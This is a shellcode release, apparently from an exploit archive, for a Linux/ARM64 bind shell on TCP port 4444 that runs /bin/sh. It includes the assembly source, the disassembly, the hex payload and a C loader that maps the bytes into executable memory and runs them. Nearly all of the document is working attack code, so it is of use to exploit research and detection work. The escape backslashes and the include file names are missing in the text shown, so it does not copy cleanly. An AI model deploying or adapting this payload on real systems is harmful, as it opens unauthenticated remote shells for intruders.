Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (164 bytes)

/*
# Title:  Linux/ARM64 - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (164 bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu Xenial Xerus (development branch)
Release:	16.04
Codename:	xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat bindshell.s
.section .text
.global _start
_start:
    // s = socket(2, 1, 0)
    mov  x8, #198
    lsr  x1, x8, #7
    lsl  x0, x1, #1
    mov  x2, xzr
    svc  #0x1337

    // save s
    mvn  x4, x0

    // bind(s, &sockaddr, 16)
    lsl  x1, x1, #1
    movk x1, #0x5C11, lsl #16
    str  x1, [sp, #-8]!
    add  x1, sp, x2
    mov  x2, #16
    mov  x8, #200
    svc  #0x1337

    // listen(s, 2)
    mvn  x0, x4
    lsr  x1, x2, #3
    mov  x8, #201
    svc  #0x1337
    mov  x5, x1

    // a = accept(s, 0, 0)
    mvn  x0, x4
    mov  x1, xzr
    mov  x2, xzr
    mov  x8, #202
    svc  #0x1337

    // save a
    mvn  x4, x0

    lsl  x1, x5, #1

dup3:
    // dup3(s, 2, 0)
    // dup3(s, 1, 0)
    // dup3(s, 0, 0)
    mvn  x0, x4
    lsr  x1, x1, #1
    mov  x2, xzr
    mov  x8, #24
    svc  #0x1337
    mov  x10, xzr
    cmp  x10, x1
    bne  dup3

    // execve("/bin/sh", 0, 0)
    mov  x3, #0x622F
    movk x3, #0x6E69, lsl #16
    movk x3, #0x732F, lsl #32
    movk x3, #0x68, lsl #48
    str  x3, [sp, #-8]!
    add  x0, sp, x1
    mov  x8, #221
    svc  #0x1337
ubuntu@ubuntu:~/works$ as -o bindshell.o bindshell.s && ld -o bindshell bindshell.o
ubuntu@ubuntu:~/works$ objdump -d ./bindshell

./bindshell:     file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 :
  400078:	d28018c8 	mov	x8, #0xc6                  	// #198
  40007c:	d347fd01 	lsr	x1, x8, #7
  400080:	d37ff820 	lsl	x0, x1, #1
  400084:	aa1f03e2 	mov	x2, xzr
  400088:	d40266e1 	svc	#0x1337
  40008c:	aa2003e4 	mvn	x4, x0
  400090:	d37ff821 	lsl	x1, x1, #1
  400094:	f2ab8221 	movk	x1, #0x5c11, lsl #16
  400098:	f81f8fe1 	str	x1, [sp,#-8]!
  40009c:	8b2263e1 	add	x1, sp, x2
  4000a0:	d2800202 	mov	x2, #0x10                  	// #16
  4000a4:	d2801908 	mov	x8, #0xc8                  	// #200
  4000a8:	d40266e1 	svc	#0x1337
  4000ac:	aa2403e0 	mvn	x0, x4
  4000b0:	d343fc41 	lsr	x1, x2, #3
  4000b4:	d2801928 	mov	x8, #0xc9                  	// #201
  4000b8:	d40266e1 	svc	#0x1337
  4000bc:	aa0103e5 	mov	x5, x1
  4000c0:	aa2403e0 	mvn	x0, x4
  4000c4:	aa1f03e1 	mov	x1, xzr
  4000c8:	aa1f03e2 	mov	x2, xzr
  4000cc:	d2801948 	mov	x8, #0xca                  	// #202
  4000d0:	d40266e1 	svc	#0x1337
  4000d4:	aa2003e4 	mvn	x4, x0
  4000d8:	d37ff8a1 	lsl	x1, x5, #1

00000000004000dc :
  4000dc:	aa2403e0 	mvn	x0, x4
  4000e0:	d341fc21 	lsr	x1, x1, #1
  4000e4:	aa1f03e2 	mov	x2, xzr
  4000e8:	d2800308 	mov	x8, #0x18                  	// #24
  4000ec:	d40266e1 	svc	#0x1337
  4000f0:	aa1f03ea 	mov	x10, xzr
  4000f4:	eb01015f 	cmp	x10, x1
  4000f8:	54ffff21 	b.ne	4000dc 
  4000fc:	d28c45e3 	mov	x3, #0x622f                	// #25135
  400100:	f2adcd23 	movk	x3, #0x6e69, lsl #16
  400104:	f2ce65e3 	movk	x3, #0x732f, lsl #32
  400108:	f2e00d03 	movk	x3, #0x68, lsl #48
  40010c:	f81f8fe3 	str	x3, [sp,#-8]!
  400110:	8b2163e0 	add	x0, sp, x1
  400114:	d2801ba8 	mov	x8, #0xdd                  	// #221
  400118:	d40266e1 	svc	#0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary bindshell bindshell.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"""x" 1/1 "%02x" ""' bindshell.bin && echo
xc8x18x80xd2x01xfdx47xd3x20xf8x7fxd3xe2x03x1fxaaxe1x66x02xd4xe4x03x20xaax21xf8x7fxd3x21x82xabxf2xe1x8fx1fxf8xe1x63x22x8bx02x02x80xd2x08x19x80xd2xe1x66x02xd4xe0x03x24xaax41xfcx43xd3x28x19x80xd2xe1x66x02xd4xe5x03x01xaaxe0x03x24xaaxe1x03x1fxaaxe2x03x1fxaax48x19x80xd2xe1x66x02xd4xe4x03x20xaaxa1xf8x7fxd3xe0x03x24xaax21xfcx41xd3xe2x03x1fxaax08x03x80xd2xe1x66x02xd4xeax03x1fxaax5fx01x01xebx21xffxffx54xe3x45x8cxd2x23xcdxadxf2xe3x65xcexf2x03x0dxe0xf2xe3x8fx1fxf8xe0x63x21x8bxa8x1bx80xd2xe1x66x02xd4

*/

#include 
#include 
#include 
#include 

int (*sc)();

char shellcode[] =
"xc8x18x80xd2x01xfdx47xd3x20xf8x7fxd3xe2x03x1fxaa"
"xe1x66x02xd4xe4x03x20xaax21xf8x7fxd3x21x82xabxf2"
"xe1x8fx1fxf8xe1x63x22x8bx02x02x80xd2x08x19x80xd2"
"xe1x66x02xd4xe0x03x24xaax41xfcx43xd3x28x19x80xd2"
"xe1x66x02xd4xe5x03x01xaaxe0x03x24xaaxe1x03x1fxaa"
"xe2x03x1fxaax48x19x80xd2xe1x66x02xd4xe4x03x20xaa"
"xa1xf8x7fxd3xe0x03x24xaax21xfcx41xd3xe2x03x1fxaa"
"x08x03x80xd2xe1x66x02xd4xeax03x1fxaax5fx01x01xeb"
"x21xffxffx54xe3x45x8cxd2x23xcdxadxf2xe3x65xcexf2"
"x03x0dxe0xf2xe3x8fx1fxf8xe0x63x21x8bxa8x1bx80xd2"
"xe1x66x02xd4";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytesn", strlen(shellcode));

    void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;

    sc();

    return 0;
}
            

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